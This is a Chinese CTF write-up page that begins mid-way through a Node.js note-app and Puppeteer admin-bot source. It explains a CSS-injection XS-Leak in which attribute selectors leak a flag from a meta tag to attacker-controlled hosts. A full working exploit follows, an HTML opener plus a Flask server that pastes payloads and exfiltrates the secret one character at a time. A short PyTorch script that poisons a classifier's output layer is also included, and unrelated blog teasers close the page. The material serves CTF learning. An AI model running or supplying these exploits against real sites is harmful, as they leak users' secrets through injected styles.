销毁当前会话 res.redirect('/login'); // 重定向到登录页面 }) // POST路由:创建新笔记(需要登录) app.post('/paste', requireLogin, (req, res) => { let id = crypto.randomUUID(); // 生成一个随机的UUID作为笔记ID let content = req.body.content; // 从请求体中获取笔记内容 let clean_content = DOMPurify.sanitize(content); // 使用DOMPurify清理HTML内容,防止XSS攻击 notes.set(id, clean_content); // 将清理后的内容存储到notes Map中 // 渲染首页并显示成功消息,包含笔记的访问链接 res.render('index', { message: 'Paste note successfully! <br /> ID: <a href="/view/' + id + '">' + id + '</a>' }); }) // GET路由:查看指定ID的笔记(需要登录) app.get('/view/:id', requireLogin, (req, res) => { let id = req.params.id; // 从URL参数中获取笔记ID // 渲染view.ejs模板,传入笔记信息 res.render('view', { id: id, // 笔记ID content: notes.get(id) || 'Note not found', // 笔记内容,如果不存在则显示"Note not found" // 如果是admin用户,显示FLAG;否则显示"Admin Channel" secret: (req.session.user === 'admin') ? FLAG : 'Admin Channel', // 如果是admin用户,显示欢迎消息;否则显示无权限提示 note: (req.session.user === 'admin')? 'Welcome Admin' : 'You Are Not Admin So No Secrets Here' }); }) // GET路由:显示举报页面(需要登录) app.get('/report', requireLogin, (req, res) => { res.render('report'); // 渲染report.ejs模板 }) // POST路由:处理URL举报请求(需要登录) app.post('/report', requireLogin, (req, res) => { let url = req.body.url; // 从请求体中获取要举报的URL visit(url); // 调用bot.js中的visit函数,使用Puppeteer自动化访问该URL(以admin身份) // 返回JSON响应,表示已访问 res.send({ message: 'visited' }); }) // 启动服务器,监听3000端口 app.listen(3000, () => { console.log('Server is running on port 3000'); // 服务器启动后输出提示信息 })
// 导入 Node.js 内置模块 const fs = require('fs'); // 文件系统模块,用于读取文件 // 导入第三方模块 const puppeteer = require('puppeteer-core'); // Puppeteer核心库,用于控制无头浏览器(需要手动指定Chrome路径) // 从passwd.txt文件读取admin账户的密码(与app.js中使用相同的密码文件) const PASSWD = fs.readFileSync('passwd.txt').toString(); // 定义异步延迟函数,返回一个Promise,在指定毫秒数后resolve const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms)); // 异步函数:自动化访问指定的URL(用于CTF XSS挑战) // 该函数会以admin身份登录,然后访问用户提供的URL async function visit(url) { console.log('start visiting ' + url); // 输出开始访问的日志信息 try { // 启动Puppeteer浏览器实例 const browser = await puppeteer.launch({ // 指定Chrome/Chromium浏览器的可执行文件路径 // 优先使用环境变量CHROME_PATH,如果不存在则使用默认路径 executablePath: process.env.CHROME_PATH || "/usr/bin/chromium-browser", // 浏览器启动参数 args: [ '--no-sandbox', // 禁用沙盒模式(通常在容器环境中需要) '--disable-setuid-sandbox' // 禁用setuid沙盒(提升兼容性) ] }); // 创建新的浏览器标签页 const page = await browser.newPage(); // 开始自动登录流程 console.log('logging in') // 输出登录日志 // 访问登录页面,等待页面完全加载(网络空闲状态) await page.goto("http://localhost:3000/login", { waitUntil: "networkidle0" }); // 在用户名输入框(#username)中输入'admin',每次按键延迟10毫秒(模拟真实用户输入) await page.type('#username', 'admin', { delay: 10 }); // 在密码输入框(#password)中输入admin密码,每次按键延迟10毫秒 await page.type('#password', PASSWD, { delay: 10 }); // 点击提交按钮(#submit)提交登录表单 await page.click('#submit'); // 等待5秒,确保登录操作完成并跳转到首页 await sleep(5 * 1000); // 访问用户提供的目标URL console.log('visiting ' + url) // 输出访问目标URL的日志 // 导航到目标URL,等待页面完全加载(网络空闲状态) await page.goto(url, { waitUntil: "networkidle0" }); // 等待120秒(2分钟),给XSS payload充分的执行时间 // 这允许攻击者执行复杂的JavaScript代码,例如发送数据到外部服务器 await sleep(120 * 1000); // 关闭浏览器实例,释放资源 await browser.close(); } catch (e) { // 捕获并输出任何错误(例如浏览器启动失败、页面加载失败等) console.log(e); } console.log('finished') // 输出完成访问的日志信息 } // 导出visit函数,供app.js中的/report路由调用 module.exports = { visit }

这里显然当admin登进就会有flag,但是打不了session伪造,看看bot.js,作用就是让admin身份的bot访问url,而这个url就是app.js中report路由中的参数,有什么?这里利用CSS 注⼊实现 XS Leak, ⼀个常⻅的⽅法是利⽤ CSS 选择器匹配指定标签的某个属性的内容,举例:

/* 匹配content属性以"a"开头的meta标签 */ meta[name="secret"][content^="a"] { background: url("http://attacker.com?q=a"); }

当这个CSS规则匹配时,浏览器会向http://attacker.com?q=a发起请求,攻击者就知道content属性以"a"开头。

而在view页面中

<meta readonly name="secret" content="<%- locals.secret %>">

当admin用户访问时,flag会被放在meta标签中,也就是说,我们构造恶意css语句,让bot去访问/view/:id路由,然后bot的view页面包含flag,然后我们利用css注入接收泄露的flag,所有代码如下

exp.html

<script> const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms)); (async function () { while (true) { try { const res = await fetch('http://host.docker.internal:8000/next'); const note_id = await res.text(); if (note_id === 'done') break; const w = window.open('http://localhost:3000/view/' + note_id); await sleep(1000); if (w) w.close(); } catch (e) { console.error(e); await sleep(1000); } } })(); </script> 
from flask import Flask, request from flask_cors import cross_origin import requests import string import re import os app = Flask(__name__) dicts = string.ascii_letters + string.digits + r'{}-_'' meta[name="secret"][content^="{}"] {{ background: url("http://host.docker.internal:8000/leak?c={}"); }}''' # 随机注册登录一个普通用户 data = { 'username': os.urandom(6).hex(), 'password': os.urandom(6).hex() } s = requests.Session() s.post('http://127.0.0.1:10800/register', data=data) s.post('http://127.0.0.1:10800/login', data=data) def report(): s.post('http://127.0.0.1:10800/report', data={ 'url': 'http://host.docker.internal:8000/exp.html' }) def paste(current_flag: str): global next_note_id if current_flag.endswith('}'): next_note_id = 'done' print('done') return' head, meta { display: block; } ''' for c in dicts: content += payload.format(current_flag + c, c) res = s.post('http://127.0.0.1:10800/paste', data={ 'content': '<div><style>' + content + '</style></div>' }) # 提取下一条笔记ID match = re.findall(r'"/view/([^"]+)"', res.text) if match: next_note_id = match[0] print('next note id: ' + next_note_id) @cross_origin() @app.route('/next') def next(): return next_note_id @app.route('/exp.html') def exp_html(): with open('exp.html', 'r', encoding='utf-8') as f: return f.read() @app.route('/leak') def leak(): global flag c = request.args.get('c', '') flag += c print('flag: ' + flag) paste(flag) return 'ok' if __name__ == '__main__': paste('') report() app.run(host='0.0.0.0', port=8000)

CSS注入 2.0_css攻击-ZEEKLOG博客

旧吊带袜天使:想吃真蛋糕的Stocking

考点:模型污染攻击

看不懂,直接看wp

import torch from model_server import SimpleDessertClassifier # 加载原始模型 model = SimpleDessertClassifier() sd = model.state_dict() # 找到输出层 last_linear_weight = None last_linear_bias = None for k in sorted(sd.keys()): if k.endswith('.weight') and sd[k].shape[0] == 3: last_linear_weight = k last_linear_bias = k.replace('.weight', '.bias') break if last_linear_weight is None: raise RuntimeError("未能找到输出层 Linear") # 污染输出层 sd[last_linear_weight] = torch.zeros_like(sd[last_linear_weight]) sd[last_linear_bias] = torch.tensor([-10.0, 10.0, 0.0]) # 保存污染后的模型 torch.save(sd, "poisoned_fixed.pth")

Read more

Apache SeaTunnel Web 完整使用指南:从零搭建可视化数据集成平台

Apache SeaTunnel Web 完整使用指南:从零搭建可视化数据集成平台 【免费下载链接】seatunnel-webSeaTunnel is a distributed, high-performance data integration platform for the synchronization and transformation of massive data (offline & real-time). 项目地址: https://gitcode.com/gh_mirrors/se/seatunnel-web Apache SeaTunnel Web 是基于 SeaTunnel Connector API 和 Zeta Engine 开发的可视化管理平台,让数据集成工作变得前所未有的简单。无论您是数据工程师、开发人员还是运维人员,这个强大的 Web 控制台都能帮助您轻松管理海量数据的同步和转换任务。

By Ne0inhk
离开舒适区之后:从三年前端到 CS 硕士——我在韩国亚大读研的得失

离开舒适区之后:从三年前端到 CS 硕士——我在韩国亚大读研的得失

过去一年多,我做了一个挺重要的决定:辞职,去韩国留学读研。 这段时间我几乎没怎么学习新的前端内容,但也没有停下来。我在韩国亚洲大学完成了计算机科学与技术(大数据)硕士的学习,在高强度的节奏里重新建立了自己的方法,也因为持续写博客获得了一些机会,担任本科 Web 实训课讲师。现在这段留学告一段落,我也准备重新回到前端领域,把这段经历当作一份额外的积累带回去。这篇复盘主要是想把这一路的收获、疲惫和一些值得记住的瞬间记录下来,留给未来的自己,也分享给路过的你。 文章目录 * 1、写在前面:我为什么会从前端转去读研 * 2、留学生活的关键词:卷、AI、被看见以及校庆的“放开玩” * 3、我的“结果卡片” * 4、得:这一年半我真正收获的东西 * 5、失:我付出的代价 * 6、期末周:我经历过的“高强度交付周” * 7、前端三年经验,如何在读研里“迁移复用” * 8、我在韩国的学习系统:

By Ne0inhk

聪明的人已经发现,26年的前端不对劲了!

最近在筛简历时发现一个有趣现象:很多自称“精通Vue/React”的候选人,被问到“为什么Vue3要用Proxy替代defineProperty”时,答案依然停留在“性能更好”这种表面说辞;能熟练配置Webpack的人,却说不太清Tree Shaking在ES Modules和CommonJS环境下工作机理的本质差异。 更明显的是面试中的两极分化——一部分人还在卷“手写Promise/虚拟DOM”这类经典八股,另一部分人已经开始被追问“如何为微前端场景设计CSS沙箱”、“如何在React Server Components中处理第三方非兼容库”。前者回答得再流畅,也掩盖不住对现代工程化场景的陌生;后者哪怕某个细节卡壳,展现的却是解决真实复杂问题的思维路径。 这种割裂感背后,是前端技术演进轨迹的明显转向: 1. “框架熟练工”价值正在稀释 当create-vite、Next.js、Nuxt这类工具链能自动生成80%的配置,当Copilot能补全半数业务组件代码,“会用框架”已从稀缺能力变为入职基线。企业开始默认你应该掌握框架,然后追问:“框架为什么这样设计?它解决了什么特

By Ne0inhk
百度天气:空气质量WebGIS可视化的创新实践 —— 以湖南省为例

百度天气:空气质量WebGIS可视化的创新实践 —— 以湖南省为例

目录 前言 一、空气质量展示需求 1、满城火辣味周末 2、空气质量状况 二、WebGIS展示百度天气 1、关于空气质量等级 2、数据查询实现 3、Leaflet集成百度空气质量 三、成果展示 1、整体展示 2、中、重污染地区 3、低、优质地区 4、污染严重前10区县 5、质量优前10区县 四、总结 前言         在当今数字化时代,地理信息系统(GIS)技术与网络技术的深度融合,催生了 WebGIS 这一强大的信息展示与分析平台。它能够将复杂的空间数据以直观、交互的方式呈现给用户,极大地提高了信息的可理解性和可用性。空气质量作为与人们生活息息相关的重要环境指标,其数据的可视化呈现对于公众健康、环境管理和决策支持都具有极为重要的意义。基于百度天气开展空气质量 WebGIS 可视化实践,正是这一领域创新探索的生动体现。

By Ne0inhk